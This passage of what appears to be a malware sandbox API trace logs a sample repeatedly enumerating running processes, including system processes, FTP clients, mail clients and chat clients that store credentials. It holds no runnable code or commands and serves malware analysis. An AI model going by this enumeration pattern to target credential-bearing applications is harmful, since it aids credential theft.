pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0274.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0274.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0274.263] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0274.265] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0274.268] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0274.312] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0274.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0274.317] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0274.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.324] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0274.326] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0274.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0274.331] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0274.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0274.338] CloseHandle (hObject=0x344) returned 1 [0274.338] Sleep (dwMilliseconds=0x64) [0274.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0274.460] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.463] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.470] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.472] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.474] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.477] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.479] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.481] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.488] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.491] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.546] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.548] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0274.550] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0274.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.557] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0274.560] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0274.562] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0274.564] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.567] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0274.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0274.571] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0274.576] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0274.578] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0274.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0274.619] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0274.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0274.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0274.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0274.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0274.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0274.634] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0274.636] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0274.640] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0274.642] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0274.649] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0274.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0274.654] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0274.656] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0274.659] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0274.710] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0274.712] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0274.715] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0274.717] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0274.719] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0274.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0274.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0274.726] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0274.729] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0274.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0274.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0274.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0274.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0274.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0274.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0274.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0274.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0274.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0274.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0274.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 